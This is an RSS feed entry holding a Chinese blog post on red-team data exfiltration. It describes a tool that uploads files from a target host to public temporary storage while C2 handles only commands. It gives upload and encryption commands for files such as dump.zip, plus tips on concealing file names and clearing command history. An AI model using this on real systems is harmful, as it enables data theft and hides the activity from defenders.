<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>C2 - 标签 - Simon's Blog</title><link>https://blog.leeissonba.com/tags/c2/</link><description>C2 - 标签 - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Thu, 16 Jul 2026 23:16:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/tags/c2/" rel="self" type="application/rss+xml"/><item><title>C2 大文件传输：通过云上传拆分数据通道</title><link>https://blog.leeissonba.com/c2-large-file-exfil-via-cloud-upload/</link><pubDate>Thu, 16 Jul 2026 23:16:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/c2-large-file-exfil-via-cloud-upload/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/featured.jpg" alt="C2 大文件传输：通过云上传拆分数据通道" referrerpolicy="no-referrer">
            </div><p>C2 适合命令控制和轻量交互，不适合持续传输大文件。授权测试中可将数据流量拆分到临时云上传服务，C2 仅负责下发命令和回传下载链接。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试与研究使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="1-为什么拆分数据通道">1. 为什么拆分数据通道</h2>
<p>直接通过 C2 下载大文件有四类问题：</p>
<ul>
<li><strong>带宽占用</strong>：批量传输会阻塞命令交互和心跳。</li>
<li><strong>可靠性</strong>：sleep、jitter、超时和较弱的断点续传能力会增加重传成本。</li>
<li><strong>链路开销</strong>：编码、分片、pivot、SOCKS 和多级跳板会增加流量、延迟和失败点。</li>
<li><strong>基础设施暴露</strong>：持续的大流量会集中指向 C2 服务端，并影响共用 Team Server 的其他会话。</li>
</ul>
<p>拆分后的流程如下：</p>
<ol>
<li>在目标上整理好文件或目录</li>
<li>由目标主机上传到当前网络可访问的临时存储服务</li>
<li>C2 回传下载链接</li>
<li>测试人员从独立环境下载文件</li>
</ol>
<p>控制流量继续走 C2，大文件流量走「目标 → 上传服务」。</p>
<h2 id="2-uploader-的处理流程">2. Uploader 的处理流程</h2>
<p><a href="https://github.com/simonlee-hello/uploader" target="_blank" rel="noopener noreffer ">Uploader</a> 基于 <a href="https://github.com/Mikubill/transfer" target="_blank" rel="noopener noreffer ">Mikubill/transfer</a> 的多后端思路实现，主要能力如下：</p>
<ul>
<li><code>backends</code>：列出后端、大小限制、状态和 URL。</li>
<li><code>probe</code>：检查当前网络中的可达性和延迟。</li>
<li>自动模式：按文件大小过滤后端，探测后按延迟尝试，失败后切换后端。</li>
<li>大小预检：上传前检查文件或目录估算大小是否超过后端限制。</li>
<li>目录处理：默认使用 Deflate 生成临时 ZIP，上传结束后删除；<code>-r</code> 改为逐文件上传。</li>
<li>加密：<code>-e -k</code> 使用 AES-256-CBC，文件格式为 <code>UP01</code> 文件头、随机 IV 和密文。</li>
<li>脚本输出：<code>-q</code> 仅向标准输出写入成功链接，错误写入标准错误。</li>
</ul>
<p>后端状态会随服务和网络变化，执行时应以 <code>uploader probe</code> 的结果为准。</p>
<h2 id="3-命令示例">3. 命令示例</h2>
<figure><a class="lightgallery" href="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" title="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-thumbnail="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-sub-html="<h2>Uploader 演示：backends / probe / 上传 / 安静模式 / 加密</h2>">
        <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Uploader 演示：backends / probe / 上传 / 安静模式 / 加密</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader -q ./evidence</span></span></code></pre></div></div>
<p>不指定 <code>-b</code> 时执行：大小过滤 → 探测 → 按延迟排序 → 失败切换。目录会先打包；成功时输出一行下载链接。</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 固定使用 lit</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 优先使用 lit，失败时允许切换</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit -auto ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 逐文件上传目录</span>
</span></span><span class="line"><span class="cl">uploader -q -r ./dir
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 加密后上传</span>
</span></span><span class="line"><span class="cl">uploader -q -e -k <span class="s1">&#39;your-key&#39;</span> ./secret.bin</span></span></code></pre></div></div>
<p>查看和探测后端：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader backends
</span></span><span class="line"><span class="cl">uploader probe
</span></span><span class="line"><span class="cl">uploader probe temp lit gof -timeout <span class="m">20</span></span></span></code></pre></div></div>
<p>退出码：<code>0</code> 表示成功，<code>1</code> 表示上传或配置失败，<code>2</code> 表示参数错误。<code>-keep</code> 会等待键盘输入，不适用于无头执行。</p>
<h2 id="4-使用限制与检查项">4. 使用限制与检查项</h2>
<ol>
<li>先确认目标出口、代理、白名单和 TLS 检查策略，再用小文件验证链路。</li>
<li>公共上传服务可能记录来源、扫描内容并限制文件类型、容量和保存时间；使用前应确认项目合规要求。</li>
<li>目录模式会在磁盘生成临时 ZIP；如不允许落地，使用 <code>-r</code> 或改用其他传输方案。</li>
<li>AES-256-CBC 只解决传输内容的保密性，不应替代文件完整性校验和密钥管理。</li>
<li>文件名也可能泄露信息，应使用不包含业务含义的名称。</li>
<li>下载完成后清理临时文件、工具和命令历史，并在链接失效前取回数据。</li>
</ol>]]></description></item></channel></rss>